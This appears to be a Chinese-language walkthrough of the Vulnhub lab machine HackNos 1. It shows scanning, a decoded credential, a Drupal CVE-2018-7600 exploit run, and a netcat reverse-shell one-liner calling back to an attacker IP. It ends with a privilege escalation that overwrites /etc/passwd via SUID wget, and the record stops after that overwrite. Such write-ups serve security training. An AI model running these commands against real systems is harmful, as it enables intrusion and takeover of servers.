HackNos 1识别目标主机IP地址
(kali㉿kali)-[~/Vulnhub/HackNos1]└─$ sudo netdiscover -i eth1 -r 192.168.56.0/24 Currently scanning: 192.168.56.0/24 | Screen View: Unique Hosts 3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180 _____________________________________________________________________________ IP At MAC Address Count Len MAC Vendor / Hostname ----------------------------------------------------------------------------- 192.168.56.1 0a:00:27:00:00:06 1 60 Unknown vendor 192.168.56.100 08:00:27:8e:0a:96 1 60 PCS Systemtechnik GmbH 192.168.56.253 08:00:27:19:13:da 1 60 PCS Systemtechnik GmbH 利用Kali Linux的netdiscover工具识别目标主机IP地址为192.168.56.253
NMAP扫描
──(kali㉿kali)-[~/Vulnhub/HackNos1]└─$ sudo nmap -sS -sV -sC -p- 192.168.56.253 -oN nmap_full_scanStarting Nmap 7.93 ( https://nmap.org ) at 2023-03-24 23:59 EDTNmap scan report for bogon (192.168.56.253)Host is up (0.000098s latency).Not shown: 65533 closed tcp ports (reset)PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)| ssh-hostkey: | 2048 a5a517704dbe48adba64c107a05503ea (RSA)| 256 f2ce421c04b899539542ab8922669edb (ECDSA)|_ 256 4a7d156583af82a31202211c2349fbe9 (ED25519)80/tcp open http Apache httpd 2.4.18 ((Ubuntu))|_http-title: Apache2 Ubuntu Default Page: It works|_http-server-header: Apache/2.4.18 (Ubuntu)MAC Address: 08:00:27:19:13:DA (Oracle VirtualBox virtual NIC)Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 8.67 secondsNMAP扫描结果表明目标主机有2个开放端口：22（ssh)、80（http)
获得Shell
┌──(kali㉿kali)-[~/Vulnhub/HackNos1]└─$ curl http://192.168.56.253/robots.txt404 Not Found Not Found
The requested URL was not found on this server.
Apache/2.4.18 (Ubuntu) Server at 192.168.56.253 Port 80 ┌──(kali㉿kali)-[~/Vulnhub/HackNos1]└─$ nikto -h http://192.168.56.253- Nikto v2.1.6---------------------------------------------------------------------------+ Target IP: 192.168.56.253+ Target Hostname: 192.168.56.253+ Target Port: 80+ Start Time: 2023-03-25 00:00:46 (GMT-4)---------------------------------------------------------------------------+ Server: Apache/2.4.18 (Ubuntu)+ The anti-clickjacking X-Frame-Options header is not present.+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type+ No CGI Directories found (use '-C all' to force check all possible dirs)+ Server may leak inodes via ETags, header found with file /, inode: 2c39, size: 59633974a1f12, mtime: gzip+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS + OSVDB-3233: /icons/README: Apache default file found.+ 7915 requests: 0 error(s) and 7 item(s) reported on remote host+ End Time: 2023-03-25 00:01:36 (GMT-4) (50 seconds)---------------------------------------------------------------------------+ 1 host(s) tested ┌──(kali㉿kali)-[~/Vulnhub/HackNos1]└─$ gobuster dir -u http://192.168.56.253 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.js,.sh,.txt===============================================================Gobuster v3.3by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)===============================================================[+] Url: http://192.168.56.253[+] Method: GET[+] Threads: 10[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt[+] Negative Status codes: 404[+] User Agent: gobuster/3.3[+] Extensions: php,html,js,sh,txt[+] Timeout: 10s===============================================================2023/03/25 00:02:08 Starting gobuster in directory enumeration mode===============================================================/index.html (Status: 200) [Size: 11321]/.html (Status: 403) [Size: 279]/.php (Status: 403) [Size: 279]/drupal (Status: 301) [Size: 317] [--> http://192.168.56.253/drupal/]/alexander.txt (Status: 200) [Size: 393]/.html (Status: 403) [Size: 279]/.php (Status: 403) [Size: 279]/server-status (Status: 403) [Size: 279]Progress: 1317761 / 1323366 (99.58%)===============================================================2023/03/25 00:03:14 Finished===============================================================目录扫描阶段发现了目录：/drupal以及文件：/alexander.txt
┌──(kali㉿kali)-[~/Vulnhub/HackNos1]└─$ curl http://192.168.56.253/alexander.txt | base64 -d % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed100 393 100 393 0 0 387k 0 --:--:-- --:--:-- --:--:-- 383k+++++ +++++ [->++ +++++ +++++++ ++.-- ----- --. ++++++.----- ---.++++++ ++.- ----- -- ----- --. +++++++ +.++++ +. ++.++ +++++ +.--- ---.++++++ +.-- ----- -. --- -- -.+.- ---.+++.< 这是brainfuck编码，用在线网站解码得到：
https://www.splitbrain.org/services/ookjames:Hacker@4514不知道这是ssh的密码还是drupal的密码，分别尝试一下
──(kali㉿kali)-[~/Vulnhub/HackNos1]└─$ ssh james@192.168.56.253 The authenticity of host '192.168.56.253 (192.168.56.253)' can't be established.ED25519 key fingerprint is SHA256:h0yIfMN4Bukv3RMUspEBXwOXzImXvIPPSc2RZjB3cEM.This key is not known by any other names.Are you sure you want to continue connecting (yes/no/[fingerprint])? yesWarning: Permanently added '192.168.56.253' (ED25519) to the list of known hosts.james@192.168.56.253's password: Permission denied, please try again.james@192.168.56.253's password: 可以成功登录/drupal
从
http://192.168.56.253/drupal/CHANGELOG.txt知道drupal版本为7.57
https://github.com/pimps/CVE-2018-7600┌──(kali㉿kali)-[~/Vulnhub/HackNos1/CVE-2018-7600]└─$ python drupa7-CVE-2018-7600.py http://192.168.56.253/drupal/ -c ls=============================================================================| DRUPAL 7 <= 7.57 REMOTE CODE EXECUTION (CVE-2018-7600) || by pimps |=============================================================================[*] Poisoning a form and including it in cache.[*] Poisoned form ID: form-dCNohd49V58rf0ua7aGYvFK5MXbLR1rN2k0EjcA8Hoo[*] Triggering exploit to execute: lsCHANGELOG.txtCOPYRIGHT.txtINSTALL.mysql.txtINSTALL.pgsql.txtINSTALL.sqlite.txtINSTALL.txtLICENSE.txtMAINTAINERS.txtREADME.txtUPGRADE.txtauthorize.phpcron.phpincludesindex.phpinstall.phpmiscmodulesprofilesrobots.txtscriptssitesthemesupdate.phpweb.configxmlrpc.php──(kali㉿kali)-[~/Vulnhub/HackNos1/CVE-2018-7600]└─$ python drupa7-CVE-2018-7600.py http://192.168.56.253/drupal/ -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.206 5555 >/tmp/f'=============================================================================| DRUPAL 7 &1|nc 192.168.56.206 5555 >/tmp/f──(kali㉿kali)-[~/Vulnhub/HackNos1]└─$ sudo nc -nlvp 5555 [sudo] password for kali: listening on [any] 5555 ...connect to [192.168.56.206] from (UNKNOWN) [192.168.56.253] 33890/bin/sh: 0: can't access tty; job control turned off$ iduid=33(www-data) gid=33(www-data) groups=33(www-data)$ which python$ which python3/usr/bin/python3$ python3 -c 'import pty;pty.spawn("/bin/bash")'www-data@hackNos:/var/www/html/drupal$ 成功得到了目标主机反弹回来的Shell
www-data@hackNos:/home/james$ ls -alhls -alhtotal 40Kdrwxr-xr-x 3 james james 4.0K Nov 16 2019 .drwxr-xr-x 3 root root 4.0K Oct 31 2019 ..-rw------- 1 james james 2.6K Nov 16 2019 .bash_history-rw-r--r-- 1 james james 220 Oct 31 2019 .bash_logout-rw-r--r-- 1 james james 3.7K Oct 31 2019 .bashrcdrwx------ 2 james james 4.0K Oct 31 2019 .cache-rw------- 1 root root 127 Oct 31 2019 .mysql_history-rw-r--r-- 1 james james 655 Oct 31 2019 .profile-rw-r--r-- 1 james james 0 Oct 31 2019 .sudo_as_admin_successful-rw-rw-r-- 1 james james 175 Oct 31 2019 .wget-hsts-rw-r--r-- 1 root root 357 Nov 16 2019 user.txtwww-data@hackNos:/home/james$ cat user.txtcat user.txt _ | | / __) ______ _ _ ___ ___ _ __ \__ \|______|| | | |/ __| / _ \| '__| ( / | |_| |\__ \| __/| | |_| \__,_||___/ \___||_| MD5-HASH : bae11ce4f67af91fa58576c1da2aad4bwww-data@hackNos:/home/james$ 提权
由于wget有SUID位，根据GTFOBINS网站的步骤进行提权，但是失败：
www-data@hackNos:/tmp$ TF=$(mktemp)TF=$(mktemp)www-data@hackNos:/tmp$ chmod +x $TFchmod +x $TFwww-data@hackNos:/tmp$ echo -e '#!/bin/sh -p\n/bin/sh -p 1>&0' >$TFecho -e '#!/bin/sh -p\n/bin/sh -p 1>&0' >$TFwww-data@hackNos:/tmp$ /usr/bin/wget --use-askpass=$TF 0/usr/bin/wget --use-askpass=$TF 0/usr/bin/wget: unrecognized option '--use-askpass=/tmp/tmp.3K0o9eZTI0'Usage: wget [OPTION]... [URL]...Try `wget --help' for more options.提权的方式就是通过下载目标靶机上的passwd，然后构造一个有root权限的用户加入到构造的passwd文件中，然后使用wget -O将内容重定向输入到/etc/passwd中
┌──(kali㉿kali)-[~/Vulnhub/HackNos1]└─$ openssl passwd -6 -salt jason 123456$6$jason$h5DlgYsVif/enQPTm/CgJ54tpQaPz0fwOmjoJKkTXi.EZ4Z6IOesX4REn/Dq8mXA4povr6tGXPy16EAcN.Ln41 bob用户是我们要添加的具有root权限的用户
www-data@hackNos:/tmp$ wget http://192.168.56.206:8000/passwd -O /etc/passwdwget http://192.168.56.206:8000/passwd -O /etc/passwd--2023-03-25 10:36:39-- http://192.168.56.206:8000/passwdConnecting to 192.168.56.206:8000... connected.HTTP request sent, awaiting response... 200 OKLength: 1746 (1.7K) [application/octet-stream]Saving to: '/etc/passwd'/etc/passwd 100%[===================>] 1.71K --.-KB/s in 0s 2023-03-25 10:36:39 (493 MB/s) - '/etc/passwd' saved [1746/1746]www-data@hackNos:/tmp$ STRIVE FOR PROGRESS,NOT FOR PERFECTION